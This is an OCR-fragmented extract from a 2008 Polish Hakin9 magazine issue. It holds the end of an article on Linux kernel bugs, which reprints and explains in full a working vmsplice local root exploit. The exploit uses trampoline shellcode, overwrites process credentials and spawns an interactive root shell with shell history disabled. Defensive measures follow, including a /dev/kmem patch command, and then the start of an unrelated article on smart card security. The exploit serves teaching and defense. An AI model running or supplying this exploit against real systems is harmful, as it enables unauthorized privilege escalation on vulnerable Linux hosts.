(

buf

));

 

    

vmsplice

(

pipes

[

0

]

 , 

&

i

 , 

1

 , 

0

 

);

 

    

printf

(

"1st: %s"

tmp

);

 

    

memset

(

tmp

0x0

sizeof

(

tmp

));

 

    

i

.

iov_base

 

=

 

(

void

 

*)

buf2

;

 

    

i

.

iov_len

 

=

 

strlen

(

buf2

);

 

    

vmsplice

(

pipes

[

1

]

 , 

&

i

 , 

1

 , 

0

 

);

 

    

read

(

pipes

[

0

]

tmp

sizeof

(

tmp

)-

1

);

 

    

printf

(

"2nd: %s"

tmp

);

 

    

return

 

0

;

 

}

 

Opis identyfikatorów

•   uid_t uid – rzeczywisty identyfikator użytkownika, 
•   uid_t euid – efektywny identyfikator użytkownika, 
•   uid_t suid – identyfikator właściciela programu, który jest wykonywany jako dany proces, 
•   uid_t fsuid – identyfikator użytkownika wykorzystywany przy sprawdzaniu praw związanych z 

systemem plików, 

•   gid_t gid – rzeczywisty identyfikator grupy użytkownika, 
•   gid_t egid – efektywny identyfikator grupy użytkownika, 
•   gid_t sgid – ustawiony identyfikator grupy użytkownika (patrz opis do suid),
•   unsigned gid_t fsgid – podobnie jak fsuid, tylko, że dotyczy grupy. 

background image

ATAK

40

 

HAKIN9 9/2008

BŁĘDY W JĄDRACH SYSTEMÓW OPERACYJNYCH

41

 

HAKIN9 

9/2008

obsługiwany proces w przestrzeni kernela 
– w tej sytuacji proces exploita. Kod jest 
prawie przeniesiony ze źródeł kernela. Warto 

zapamiętać, że implementacja makra jest 
różna w kernelach z serii 2.4 i 2.6, a nawet w 
tej samej linii rozwojowej mogą występować 

różnice związane z wielkością struktury 
task_info, która zawiera wskaźnik do 
wcześniej wymienionej task_struct. Dlaczego 

Listing 4. 

Kod exploita na vmsplice()

/* 
* diane_lane_fucked_hard.c 

* Linux vmsplice Local Root Exploit 
* By qaaz 

* Linux 2.6.23 - 2.6.24 
*/

 

#define _GNU_SOURCE 
#include 

<stdio.h>

 

#include 

<errno.h>

 

#include 

<stdlib.h>

 

#include 

<string.h>

 

#include 

<unistd.h>

 

#include 

<sys/uio.h>

 

#

define

 

TARGET_PATTERN

 

" sys_vm86old"

 

#define TARGET_SYSCALL 113 
#ifndef __NR_vmsplice 
#define __NR_vmsplice 316 
#endif 
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), 

(nr), (fl)) 

#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 

1, 2, 3, 4) 

#define TRAMP_CODE (void *) trampoline 
#define TRAMP_SIZE ( sizeof(trampoline) - 1 ) 

unsigned

 

char

 

trampoline

[]

 

=

 

    

"

\x

8b

\x

5c

\x

24

\x

04"

             

/* mov 0x4(%esp),%ebx */

 

    

"

\x

8b

\x

4c

\x

24

\x

08"

             

/* mov 0x8(%esp),%ecx */

 

    

"

\x

81

\x

fb

\x

69

\x

7a

\x

00

\x

00"

 

/* cmp $31337,%ebx */

 

    

"

\x

75

\x

02"

                          

/* jne +2 */

 

    

"

\x

ff

\x

d1"

                             

/* call *%ecx */

 

    

"

\x

b8

\x

ea

\x

ff

\x

ff

\x

ff"

             

/* mov $-EINVAL,%eax */

 

    

"

\x

c3"

                                 

/* ret */

 

;

 

void

 

die

(

char

 

*

msg

int

 

err

)

 

{

 

     

printf

(

err

 ? 

"[-] %s: %s

\n

"

 

:

 

"[-] %s

\n

"

msg

strerror

(

err

));

 

     

fflush

(

stdout

);

 

     

fflush

(

stderr

);

 

     

exit

(

1

);

 

}

 

long

 

get_target

()

 

{

 

     

FILE

 

*

f

;

 

     

long

 

addr

 

=

 

0

;

 

     

char

 

line

[

128

];

 

     

f

 

=

 

fopen

(

"/proc/kallsyms"

"r"

);

 

     

if

 

(!

f

)

 

die

(

"/proc/kallsyms"

errno

);

 

     

while

 

(

fgets

(

line

sizeof

(

line

)

f

))

 

{

 

         

if

 

(

strstr

(

line

TARGET_PATTERN

))

 

{

 

             

addr

 

=

 

strtoul

(

line

NULL

16

);

 

             

break

;

 

         

}

 

     

}

 

     

fclose

(

f

);

 

     

return

 

addr

;

 

}

 

static

 

inline

 

__attribute__

((

always_inline

))

 

void

 

*

 

get_current

()

 

{

 

     

unsigned

 

long

 

curr

;

 

     

__asm__

 

__volatile__

 

(

 

         

"movl %%esp, %%eax ;"

 

         

"andl %1, %%eax ;"

 

         

"movl (%%eax), %0"

 

         

:

 

"=r"

 

(

curr

)

 

         

:

 

"i"

 

(

~

8191

)

 

     

);

 

    

return

 

(

void

 

*)

 

curr

;

 

}

 

void

 

kernel_code

()

 

{

 

     

int

 

i

;

 

     

uint

 

*

p

 

=

 

get_current

();

 

     

for

 

(

i

 

=

 

0

;

 

i

 

<

 

1024

-

13

;

 

i

++)

 

{

 

         

if

 

(

p

[

0

]

 

==

 

uid

 

&&

 

p

[

1

]

 

==

 

uid

 

&&

 

         

p

[

2

]

 

==

 

uid

 

&&

 

p

[

3

]

 

==

 

uid

 

&&

 

        

p

[

4

]

 

==

 

gid

 

&&

 

p

[

5

]

 

==

 

gid

 

&&

 

        

p

[

6

]

 

==

 

gid

 

&&

 

p

[

7

]

 

==

 

gid

)

 

{

 

            

p

[

0

]

 

=

 

p

[

1

]

 

=

 

p

[

2

]

 

=

 

p

[

3

]

 

=

 

0

;

 

            

p

[

4

]

 

=

 

p

[

5

]

 

=

 

p

[

6

]

 

=

 

p

[

7

]

 

=

 

0

;

 

            

p

 

=

 

(

uint

 

*)

 

((

char

 

*)(

p

 

+

 

8

)

 

+

 

sizeof

(

void

 

*));

 

        

p

[

0

]

 

=

 

p

[

1

]

 

=

 

p

[

2

]

 

=

 ~

0

;

 

        

break

;

 

        

}

 

        

p

++;

 

    

}

 

}

 

int

 

main

(

int

 

argc

char

 

*

argv

[])

 

{

 

     

int

 

pi

[

2

];

 

     

long

 

addr

;

 

     

struct

 

iovec

 

iov

;

 

     

uid

 

=

 

getuid

();

 

     

gid

 

=

 

getgid

();

 

     

setresuid

(

uid

uid

uid

);

 

     

setresgid

(

gid

gid

gid

);

 

     

printf

(

"-----------------------------------

\n

"

);

 

     

printf

(

" Linux vmsplice Local Root Exploit

\n

"

);

 

     

printf

(

" By qaaz

\n

"

);

 

     

printf

(

"-----------------------------------

\n

"

);

 

     

if

 

(!

uid

 

||

 

!

gid

)

 

         

die

(

"!@#$"

0

);

 

     

addr

 

=

 

get_target

();

 

     

printf

(

"[+] addr: 0x%lx

\n

"

addr

);

 

     

if

 

(

pipe

(

pi

)

 

<

 

0

)

 

         

die

(

"pipe"

errno

);

 

     

iov

.

iov_base

 

=

 

(

void

 

*)

 

addr

;

 

     

iov

.

iov_len

 

=

 

TRAMP_SIZE

;

 

     

write

(

pi

[

1

]

TRAMP_CODE

TRAMP_SIZE

);

 

     

_vmsplice

(

pi

[

0

]

&

iov

1

0

);

 

     

gimmeroot

();

 

     

if

 

(

getuid

()

 

!=

 

0

)

 

         

die

(

"wtf"

0

);

 

     

printf

(

"[+] root

\n

"

);

 

     

putenv

(

"HISTFILE=/dev/null"

);

 

     

execl

(

"/bin/bash"

"bash"

"-i"

NULL

);

 

     

die

(

"/bin/bash"

errno

);

 

     

return

 

0

;

 

}

 

// 

milw0rm

.

com

 

[

2008

-

02

-

09

]

background image

ATAK

40

 

HAKIN9 9/2008

BŁĘDY W JĄDRACH SYSTEMÓW OPERACYJNYCH

41

 

HAKIN9 

9/2008

tak ważne jest odnalezienie odpowiedniego 
wskaźnika do struktury opisującej proces 
w przestrzeni kernela? Zawiera ona 
informacje, z jakimi uprawnieniami proces 
jest wykonywany. Jeżeli jeszcze nie naświetla 
to problemu i możliwości z nim związanych, 
to zaraz wszystko się wyjaśni. Szczegółowy 
opis struktur jądra systemu i dotyczących 
ich zadań można znaleźć w dokumencie 
Linux 2.6 Kernel Exploits, którego autorem 
jest Stephane Duverger. 

Funkcja 

kernel _ code()

 jest 

odpowiednikiem szelkodu, który zazwyczaj 
chcemy wstrzyknąć w pamięć procesu 
przy błędach typu buffer oveflow. Zadaniem 
tej funkcji jest odnalezienie w przeglądanej 
strukturze pól opisujących identyfikatory 
użytkownika, z jakimi działa program, a 
następnie podmianę ich na identyfikator 
administratora (0). Opis poszukiwanych 
identyfikatorów znajduje się w ramce. 

Wiedząc, jak działają wszystkie 

dodatkowe funkcje, można przejść do 
analizy funkcji głównej. W pierwszej części 
autor exploita pobiera identyfikatory 
użytkownika, z którymi proces został 
uruchomiony i w przypadku różnic 
pomiędzy ruideuid i suid wyrównuje je do 
tej samej wartości względem uid. To samo 
wykonuje dla identyfikatorów dotyczących 
grupy. Następnie pobierany jest adres, pod 
którym znajduje się wywołanie systemowe 

vm86old() 

i tworzony jest potok. Po tym 

fragmencie kodu występuje najważniejsza 
część exploita – wykorzystanie podatności 
w funkcji 

vmsplice()

Na początku musimy wypełnić strukturę 

iov (

iov _ base

 – adres, pod którym 

znajduje się bufor i 

iov _ len

 – jego 

wielkość). iov_base to adres wywołania 
systemowego 

vm86old()

, natomiast 

długość wynosi tyle, ile ma kod trampoliny
Wywołanie write() powoduje zapis do potoku 
kodu zdefiniowanego w ramach makra 

TRAMP_CODE. Uruchomienie wywołania 
systemowego 

vmsplice()

 powoduje 

zniszczenia. Zanim 

vmsplice()

 odczyta 

dane zaadresowane w strukturze iov, 
przemapuje dane z potoku – wcześniej 
zapisane do niego za pomocą funkcji 

write()

 – do pamięci kernela. Zazwyczaj 

w takiej sytuacji powinien pojawić się 
komunikat o błędzie segmentacji pamięci 
kernela (Oops!) lub coś gorszego. Nie dzieje 
się tak, ponieważ w ten sposób realizowany 
jest dostęp do pamięci. Kod funkcji 

vmsplice _ to _ user()

, odpowiedzialny 

za transfer bufora z potoku pod adres 
iov_base, nie weryfikuje, czy można go 
wykonać. Tzn., że możemy spróbować 
zapisać cokolwiek, co prześlemy do potoku 
pod dowolnym adresem ustawionym w 
strukturze iov. W ten sposób pod adresem 
addr (oznaczającym adres wywołania 
systemowego 

vm86old()

) został zapisany 

kod TRAMP_CODE, nadpisując jego 
pierwotną wersję w jądrze. Gotowe? 

W tym momencie nie mamy jeszcze 

uprawnień administratora. Do tego 
potrzebny jest jeszcze jeden krok. Funkcja 

gimmeroot()

 wywołuje 

vm86old()

 z 

odpowiednio dobranymi argumentami. 
Teraz ciałem tego wywołania systemowego 
jest kod z 

char trampoline[]

 (Listing 

4). Jeżeli pierwszym argumentem jest 
liczba 31337, to należy wykonać funkcję 
znajdującą się pod adresem z drugiego 
argumentu. Jest nim adres funkcji 

kernelcode()

. Po udanym odwołaniu się 

do podmienionego wywołania

 vm86old()

 

jesteśmy nowym administratorem 
tego systemu. Pozostała część exploita 
uruchamia powłokę, aby umożliwić 
przejście do pracy interaktywnej. 

Obrona

Pójdźmy trochę dalej. Błąd w wywołaniu 

sys _ vmsplice()

 pozwala na 

realizację marzeń napastnika. Wdrożenie 
odpowiednich poprawek do kernela 
nie zawsze jest bardzo proste, jasne 
i oczywiste. Znane są inne metody 
prewencji i detekcji próby wykorzystania 
takiego błędu w kernelu. Jedną z nich 
jest wykorzystanie modułów do kernela, 
które wyłączają 

sys _ vmsplice()

 

lub dodatkowo badają parametry jej 
wywołania – tak, aby nie było możliwości 
zdobycia uprawnień administratora. 
Przykład takiego badania znajduje się na 
Listingu 5.

Drugim sposobem jest nadpisanie 

fragmentu pamięci jądra, w którym 
znajduje się 

sys _ vmsplice()

. Przykład 

takiego nadpisania jest zaprezentowany na 
Listingu 6.

W ten sposób można się 

zabezpieczyć przed atakiem, ale 
tylko w określonych warunkach. 
Załadowanie modułu wyłączającego 

sys _ vmsplice()

 lub nadpisanie 

pamięci jądra musi zostać wykonane 
przed pierwszym uruchomieniem 
exploita. Jeżeli stanie się inaczej, to 
zabezpieczenia te nie spełnią naszych 
oczekiwań. Gdyby napastnikowi udało 
się spowodować, aby fragment exploita 
(do wywołania 

_ vmsplice()

 włącznie) 

wywoływany był po restarcie systemu, 
przed załadowaniem modułu lub 
nadpisaniem pamięci jądra, to dla 
uzyskania uprawnień administratora 
wystarczyłoby odpowiednio odwołać 
się do 

vm86old()

 z użyciem funkcji 

kernelcode() 

get _ current()

Wadami tych zabezpieczeń jest 

brak możliwości ich użycia w niektórych 
środowiskach (brak możliwości ładowania 
modułów, brak możliwości pisania do 
pamięci jądra – /dev/kmem). 

Podsumowanie

Najlepszą metodą walki z tym zagrożeniem 
– i innymi atakami – jest wymiana jądra na 
wersję, która nie jest już podatna, a także 
wiedza o błędach w nim występujących. 
Czego życzę Czytelnikom i Wojtkowi 
Purczyńskiemu. Na pewno coś dla nas 
jeszcze znajdzie. 

Przemysław Skowron

Autor ma 25 lat, jest specjalistą ds. bezpieczeństwa 

teleinformatycznego w jednym z największych portali 

w Polsce, czynnym działaczem i członkiem organizacji 

OWASP.

Kontakt z autorem: przemyslaw.skowron@gmail.com

Listing 5. 

Badanie poprawności adresu docelowego dla funkcji vmsplice()

i

f (unlikely(!access_ok(VERIFY_WRITE, base, len))) 

{

 

    

error

 

=

 

-

EFAULT

;

    

break

;

 

}

Listing 6. 

Nadpisanie fragmentu pamięci kernela instrukcją RET

echo

 

-

e

 '\

xc3

|

 

dd

 

of

=

/

dev

/

kmem

 

bs

=

1

 

count

=

1

 

seek

=

$

((

0x

`

awk

 '/

sys_vmsplice

{

 

print

 

$

1

;

 

}

'  /

proc

/

kallsyms

`

))

background image

42

 

HAKIN9 9/2008

OBRONA

przedmiotem artykułu ma do czynienia 
w zasadzie każdy z nas. Z założenia 
karty mają stanowić remedium na coraz 

większą liczbę haseł, a przede wszystkim 
transakcji elektronicznych. Generalnie karty 
istnieją wszędzie tam, gdzie zachodzi potrzeba 
zabezpieczenia danych przed niepowołanym 
dostępem. Podejrzewam, że ile bym nie napisał 
na ten temat, to i tak nie będzie on wyczerpany. 
Dziedzina zwana smart cards rozwija się 
dynamicznie, co skutkuje wieloma nowinkami 
technicznymi. W Polsce technologia ta pojawiła 
się w latach '90, rozwijając się tak naprawdę 
w ostatnich latach poprzedniego stulecia. 
Na świecie karty pojawiły się wcześniej – co 
nie zmienia faktu, że jest to mimo wszystko 
stosunkowo nowa technologia (przynajmniej 
tak, jak ją dzisiaj rozumiemy), która nabiera 
znaczenia w XXI wieku i okresie, w którym 
niebagatelną rolę odgrywa przesyłana 
elektronicznie informacja. Pomimo jej młodego 
wieku, wokół technologii zdążyło narosnąć już 
wiele mitów, spośród których najważniejsze 
jest powszechne przekonanie o wręcz 
niewiarygodnym bezpieczeństwie kart. 

W artykule postaram się zwrócić uwagę 

na fakt, że nie jest to aż tak pewne. Niemniej 
chciałbym się skupić na tym, czym są karty 
w ogóle, jak je możemy podzielić i jakie są 
ich zastosowania – czyli opisać, jak chronią 
nasze dane i inne dobra. Zapraszam do lektury 
artykułu.

PRZEMYSŁAW ŻARNECKI

Z ARTYKUŁU 

DOWIESZ SIĘ

czym są tzw. karty inteligentne,

jak są zbudowane karty,

jakie rodzaje zabezpieczeń 

stosują ich producenci,

czy te zabezpieczenia są 

niezawodne,

gdzie stosuje się karty,

jak technicznie wyglądają 

niektóre z zastosowań,

jak ustrzec się przed 

nieodpowiedzialnym 

korzystaniem z karty.

CO POWINIENEŚ 

WIEDZIEĆ

karty elektroniczne są jedną 

z najpopularniejszych form 

zabezpieczeń ostatnich lat,

czy zdajesz sobie sprawę, czy 

nie, to na pewno korzystasz ze 

smart cards,

w każdym systemie 

bezpieczeństwa najsłabszym 

ogniwem jest człowiek,

na nic nie zda Ci się 

najbezpieczniejsza nawet karta, 

jeżeli ktoś pozna Twój PIN,

zwracaj uwagą na wszelkie 

nietypowe okoliczności w 

użytkowaniu Twojej karty, może 

właśnie tracisz pieniądze,

jeżeli zamierzasz samodzielnie 

korzystać z kart, sprawdź poziom 

ich zabezpieczeń.

Czym są smart cards?

Ich definicja jest stosunkowo prosta, jednakże 
często bywa nawet nadmiernie upraszczana 
i przedstawiana tylko w kontekście kart 
płatniczych. Angielska nazwa smart cards jest 
często używana równocześnie z oficjalnym 
określeniem ISO – Integrated Circuit Cards 
(ICC). Najprostsza definicja smart card mówi, 
że jest to karta z wbudowanym układem 
elektronicznym. Często określa się, że jest to 
kawałek plastyku o wymiarach karty kredytowej, 
z wbudowanym układem elektronicznym. Jest to 
o tyle nieprawda, że jedną z najbardziej znanych 
kart elektronicznych jest karta SIM, której raczej 
daleko do karty kredytowej. Z technicznego 
punktu widzenia te karty nie muszą się od 
siebie niczym różnić – sercem karty kredytowej 
może być procesor, który zazwyczaj odpowiada 
wielkością karcie SIM. Trudno sobie jednak 

Stopień trudności

Ochrona kart 

inteligentnych

Inteligentne karty nie są na tyle bezpieczne jak nam wszystkim 

się wydaje. Poznajmy ich budowę i sprawdźmy jakie rodzaje 

zabezpieczeń stosują ich producenci. Dowiedz się jak są łamane 

i zabezpieczane dane na smart cards.

Rysunek 1. 

Karta inteligentna jako przepustka do 

firmy

background image

43

 

HAKIN9 

OCHRONA KART INTELIGENTNYCH

9/2008

wyobrazić maleńką kartę kredytową czy 
płatniczą tak dużą, jak kartę SIM (bardzo 
często są one dostarczane w większej, 
plastykowej obudowie). Karty są przede 
wszystkim nośnikiem zabezpieczonych 
danych.

Omawianego terminu używa się 

często w szerszym i węższym kontekście. 
W szerszym znaczeniu podział kart 
przedstawia się następująco:

•   ze względu na obecność 

procesora: karty pamięciowe i karty 
mikroprocesorowe,

•   ze względu na sposób ochrony 

przed niepożądanym dostępem: 
karty głupie (ang. dumb cards, bez 
ochrony pamięci), z wbudowaną 
logiką (ang. wired logic cards
pamięć posiada ochronę w postaci 
układów logicznych), karty inteligentne 
(za bezpieczeństwo odpowiada 
wbudowany procesor).

Karty można jeszcze dzielić ze względu 
na swoje przeznaczenie czy aspekty 
użytkowe, pod kątem sposobu, w 
jaki komunikują się z urządzeniami 
elektronicznymi i na wiele innych 
sposobów. Za najbardziej bezpieczne 
uznaje się karty inteligentne. Tego terminu 
można używać również na określenie 
całej grupy kart, którą przed chwilą 
opisałem. Niemniej bardziej właściwe 

moim zdaniem jest odnoszenie terminu 
smart cards tylko i wyłącznie do kart 
inteligentnych, czyli posiadających 
wbudowany na pokładzie procesor, a 
przynajmniej układ elektroniczny. Ze 
wszystkich kart do zabezpieczania 
danych właśnie je uważa się za 
najbezpieczniejsze, ale również za 
najwygodniejsze w użytkowaniu i 
konfigurowaniu.

Poza procesorem karty posiadają 

jeszcze coś na kształt własnego 
systemu operacyjnego, dzięki czemu 
oprócz przechowywania danych mogą 
wykonywać określone operacje. Z 
tym, że nie mamy tutaj do czynienia z 
systemem operacyjnym, przynajmniej 
nie w takim znaczeniu, jakie ma ten 
termin na co dzień. Jest to tak naprawdę 
wyspecjalizowany kod, który odpowiada 
za sterowanie pracą procesora, jak 
również wykonywanie operacji (np. zapis, 
opróżnianie pamięci). System posiada 
zazwyczaj kilka gotowych aplikacji, których 
zadaniem jest obsługa autoryzacji 
oraz szyfrowanie danych w trakcie ich 
transmisji.

Można wskazać dwa rodzaje 

systemów operacyjnych. W pierwszym 
przypadku, aby dodać jakiś nowy 
element lub funkcję, należy najpierw 
przekompilować system i wgrać go na 
kartę od nowa. Jako przykład takiego 
systemu można przytoczyć CardLogix 

M.O.S.T. Takie rozwiązanie zapewnia 
wprawdzie względne bezpieczeństwo, 
jednakże jakakolwiek rekonfiguracja karty 
to czynność wysoce skomplikowana. 
Niemniej CardLogix jest w dalszym ciągu 
uznawany za największego dostawcę kart 
inteligentnych na świecie.

Rozwiązaniem powyższego problemu 

są nowoczesne karty z systemem 
operacyjnym, który nazwano Disk 
Drive. Jest to nazwa rodzaju, bowiem 
do najbardziej znanych systemów 
operacyjnych dla kart inteligentnych 
należą Microsoft Windows Card OS oraz 
Java Card OS (wg różnych szacunków 
na świecie jest ponad 3,5 miliarda kart 
zgodnych z Javą). W ich przypadku mamy 
do czynienia z aplikacją, którą można 
nazwać menedżerem plików. Pozwala on 
na załadowanie na kartę dodatkowych 
elementów czy aplikacji, jak również na 
zarządzanie zgromadzonymi na nich 
danymi/plikami. Systemów operacyjnych 
Disk Drive powszechnie używa się 
tam, gdzie karta ma mieć długi termin 
ważności (zazwyczaj są to cztery lata). 
Dzięki temu ich dostawca ma pewność, 
że w przypadku konieczności modyfikacji 
jakichś danych, nie trzeba będzie wgrywać 
na nowo całego systemu operacyjnego. 
Z racji bardzo wyspecjalizowanych funkcji 
(oraz możliwości i przeznaczenia kart) 
aplikacje dla systemów operacyjnych 
liczą sobie nie więcej niż kilka, kilkanaście 
kilobajtów.

Dwoma najbardziej powszechnymi 

językami programowania dla smart 
cards są Java i Basic. Do tworzenia 
oprogramowania używa się narzędzi 
programistycznych, których najważniejszym 
elementem jest emulacja procesora karty.

Rysunek 2. 

Zabezpieczenia w pendrive

Rysunek 3. 

Kolejne karty inteligentne

background image

44

 

HAKIN9 9/2008

OBRONA

Jak działają?

Najważniejszym elementem każdej 
karty jest mikroprocesor, którego 
podstawową funkcją jest kontrola 
odczytu i zapisu danych znajdujących 
się w pamięci. Zazwyczaj w trakcie 
wykonywania operacji żąda się od nas 
podania numeru identyfikacyjnego PIN. 
Procesor jest w stanie kontrolować liczbę 
nieudanych prób i np. po przekroczeniu 
określonego limitu zablokować kartę 
bądź poprosić o dodatkową autoryzację. 
Najlepszym przykładem będą w tym 
przypadku karty SIM. Ciekawe, ilu z 
Was po nieprawidłowym wprowadzeniu 
numeru PIN zostało poproszonych o PUK 
(dodatkowa autoryzacja), a ilu musiało 
udać się do swojego operatora po 
nową kartę? Mogę podejrzewać, że nie 
tak znowu mały odsetek. Zarządzanie 
pamięcią karty sprawia, że jej część 
może służyć do przechowywania 
różnego rodzaju informacji. W ten 
sposób karty inteligentne stają się 
urządzeniami wielofunkcyjnymi. Zdarzają 
się sytuacje, w których karta parkingowa 
jest jednocześnie kartą telefoniczną, 
przepustką płatniczą i pełni ponadto wiele 
innych funkcji.

Kolejnym ważnym elementem każdej 

karty jest pamięć. Karta może zawierać 
nawet kilka rodzajów pamięci:

•   ROM – Read Only Memory
•   PROM – Programmable ROM – tylko 

w teorii, praktycznie nie stosowana w 
ICC,

•   EPROM – Erasable PROM – 

praktycznie nie stosowana,

•   EEPROM – Electrically EPROM 

– najczęściej stosowana,

•   RAM – Random Access Memory.

Każda karta na pewno musi zawierać 
pamięć ROM, w której przechowywany 
jest system operacyjny. Jest to tzw. maska
która określa zarazem dostęp do różnych 
obszarów pamięci i sposoby zarządzania 
nimi. Najczęściej stosowana pamięć 
EEPROM definiowana jest często jako 
pamięć nieulotna, co oznacza, że nawet 
po nastąpieniu zaniku zasilania, pamięć 
przechowuje dane.

Najpopularniejsze karty dzielą 

zazwyczaj pamięć na trzy obszary. 
Pierwszy to tzw. obszar swobodnego 
odczytu. Zapisuje się dane na nim tylko 
raz – podczas procesu personalizacji 
karty. Znajdują się w nim podstawowe 
informacje na temat samej karty i jej 
posiadacza. Zazwyczaj są to imię i 
nazwisko właściciela, data ważności, 
numer karty i wiele innych, przydatnych np. 
do identyfikacji właściciela karty.

Cała elektronika umieszczona jest 

zawsze w układzie wykonywanym w 
technologii CMOS, który wprasowuje 
się w kartę. Układ jest wyposażony w 
specjalistyczne ekranowanie, przede 
wszystkim po to, aby nic nie zakłóciło 
jego pracy. W zdecydowanej większości 
przypadków karty nie posiadają 
własnego zasilania, aczkolwiek taka 
możliwość występuje teoretycznie, 
a czasem nawet i praktycznie. Karta 
pobiera zasilanie z czytnika. System 
operacyjny do swojego startu wymaga 
mniej niż sekundy.

Do korzystania z karty niezbędny jest 

czytnik. Wielu zwykłych Kowalskich nie 
będzie używać karty właśnie ze względu 
na tę drobną niedogodność. Taki czytnik 
to wydatek rzędu co najwyżej kilkunastu 
złotych, podłącza się go do USB, 
wykrywany jest zazwyczaj automatycznie 
(ze starszymi modelami, podłączanymi 
do innych rodzajów portów były faktycznie 
problemy). Z czytnikami kart mamy do 
czynienia prawie codziennie, chociaż 
zazwyczaj jest to bardzo specyficzny 
typ zwany terminalem. Widzimy je 
idąc na zakupy i płacąc kartą, choć w 
naszym kraju ciągle jeszcze popularne 
są karty pamięciowe – bez układu 
elektronicznego, gdzie czytnik korzysta 
z wbudowanego w kartę paska 
magnetycznego.

W odniesieniu do komunikowania 

z otoczeniem możemy wyróżnić dwa 

rodzaje kart – stykowe i bezstykowe. 
Zacznę od tych drugich. Ich projekt 
powstał pod koniec lat '70 XX w. 
Komunikacja w przypadku tego rodzaju 
kart odbywa się drogą radiową. Karty 
bezstykowe mogą być zasilane własną 
baterią (tzw. aktywne zasilanie) bądź z 
czytnika, za pomocą cewki o niewielkim 
zasięgu. Jest ona pobudzana przez pole 
elektromagnetyczne. Stosuje się je raczej 
w kartach o naprawdę małym zasięgu. 

Karty bezstykowe są wygodne, 

ale przede wszystkim zapewniają 
szybką obsługę. Odpada konieczność 
precyzyjnego wkładania do czytnika. Mają 
więc one zastosowanie tam, gdzie liczy 
się czas oraz gdzie przewija się duża 
liczba osób. Tak może być w tramwajach, 
autobusach (np. w Warszawie), w 
obiektach użyteczności publicznej i 
wielu innych. Do kolejnych zalet należy 
z pewnością zaliczyć większą trwałość 
– ponieważ karta nie zużywa się zbytnio 
fizycznie, nie trzeba wymieniać ani samej 
karty, ani głowic czytających. Zasięg 
działania karty zależy od jej typu, tym 
niemniej waha się od kilku milimetrów do 
kilku metrów.

W przypadku kart sporym problemem 

jest liczba standardów. Co jakiś czas 
ponawiane są próby ujednolicenia 
sposobu działania samych kart, jak 
również czytników. Największy problem 
pojawia się w przypadku systemów 
operacyjnych i stosowanych w kartach 
procesorów.

Najważniejsza norma związana z 

budową i działaniem kart powstała jeszcze 
w roku 1987. ISO 7816 charakteryzuje 
właściwości fizyczne oraz komunikacyjne 
stosowanych układów. Całość jest 
sformułowana na tyle ogólnie, że została 
zaakceptowane przez zdecydowaną 
większość producentów kart. Sama 
norma składa się z kilku części, dzięki 
czemu producentom jest o wiele łatwiej ją 
stosować. 

Ciekawym uzupełnieniem normy jest 

opublikowany przez amerykański instytut 
badawczy (National Institute of Standards 
and Technology
 – NIST) dokument 
związany z szyfrowaniem danych. W 
Security Requirements for Cryptographic 
Modules
 (tzw. dokument FIPS 140-1) 
Amerykanie opisali bezpieczeństwo 
fizyczne układów CMOS, jak również 

Rysunek 4. 

Karta w laptopie

background image

OCHRONA KART INTELIGENTNYCH

45

 

HAKIN9 

9/2008

background image

46

 

HAKIN9 9/2008

OBRONA

OCHRONA KART INTELIGENTNYCH

47

 

HAKIN9 

9/2008

zdefiniowali sposób pracy modułów 
kryptograficznych.

Problem ze standaryzacją jest również 

tej natury, że wiele jej elementów zostało 
przez Amerykanów opatentowanych i nie 
jest powszechnie dostępnych. Oczywiście 
nie za darmo. Część norm trzeba 
kupować bezpośrednio w ISO lub ANSI.

Fiaskiem skończyły się wszystkie 

dotychczasowe próby stworzenia 
jednej definicji interfejsu aplikacji 
funkcjonujących na kartach. Zażarta 
konkurencja pomiędzy wielkimi rynku 
nie pozwala na ujednolicenie sposobu 
działania kart. Dla przykładu własną 
specyfikację opracowały MasterCard 
i Visa. W tym segmencie własną 
propozycję przedstawił nawet Microsoft. 
Nie jest niespodzianką, że została ona 
zignorowana w zasadzie przez wszystkich. 
Nic dziwnego. W powszechnym, ale 
również i specjalistycznym, mniemaniu 
słowa bezpieczeństwo i Microsoft to tak 
jakby drogowskazy w dwie różne strony. 
Niestety, korporacja pracowała i pracuje 
konsekwentnie nad swoim negatywnym 
wizerunkiem. Osobne specyfikacje 
powstały również w samej GSM.

Ważnym elementem każdej karty 

jest stosowany przez nią system 
zabezpieczeń. Z racji pewnych 
ograniczeń fizycznych, braku zegara 
astronomicznego (co się może 
oczywiście zmienić) w kartach nie była 
do tej pory możliwa implementacja 
niektórych zaawansowanych protokołów 
kryptograficznych. Niemniej lista 
potencjalnych zabezpieczeń nie jest 
mała. Zerknijmy na kilka wybranych.

Pierwszy z przykładów wykorzystuje 

w swoim działaniu arytmetykę grupy 
punktów na krzywych eliptycznych 
(inaczej schemat oparty na krzywej). 
Metoda zwana ECDSA stosowana jest 
na przykład w podpisach elektronicznych. 
Dla porównania: zastosowanie 63-
bitowego klucza ECDSA porównywalne 
jest z klasycznym kluczem o długości 
1024 bitów.

Do klasycznych rodzajów 

zabezpieczeń należy podpis cyfrowy 
RSA. Jest to jeden z najpopularniejszych 
algorytmów kryptografii asymetrycznej. 
Powstał w 1978 r., zaś nazwa stanowi 
akronim pierwszych liter nazwisk jego 
twórców. Jego skuteczność opiera się 
na trudności faktoryzacji (rozkładu na 
czynniki) dużych liczb. Pewne jest, że 
gdyby się komuś udało opracować na 
to algorytm, to złamałby RSA. Do tej 
pory nikomu się to nie powiodło, nie ma 
natomiast 100% pewności, że RSA nie 
można złamać w inny sposób. Niemniej 
metodę uważa się za co najmniej 
dostateczną. Do tej pory zanotowano 
udane ataki na klucze o długości około 
600 bitów. Teoretycznie więc do pewnego 
stopnia możemy zaufać dłuższym 
kluczom. Popularna jest opinia, że 
prawdziwym zagrożeniem dla RSA będzie 
skonstruowanie komputera kwantowego.

Kolejna metoda służy zabezpieczeniu 

przed tzw. pasywnym podsłuchem. Jest 

to protokół uzgadniania kluczy Diffiego-
Hellmana. Dwie strony komunikacji losują 
pewną liczbę, którą po zastosowaniu 
protokołu znają tylko one. Ta liczba może 
być następnie wykorzystana jako klucz 
szyfrujący. Ktoś, kto podsłuchuje, nie jest 
w stanie poznać tego klucza. Słabą stroną 
tego protokołu jest brak zabezpieczeń 
przed próbami ingerencji w komunikację. 
Z tej racji nadaje się on raczej jako 
uzupełnienie pozostałych metod.

Karty nie mogły się również obyć 

bez Digital Signature Algorithm 
(DSA). Jest to amerykański narodowy 
standard dla podpisów cyfrowych. 
Przede wszystkim służy on tylko do 
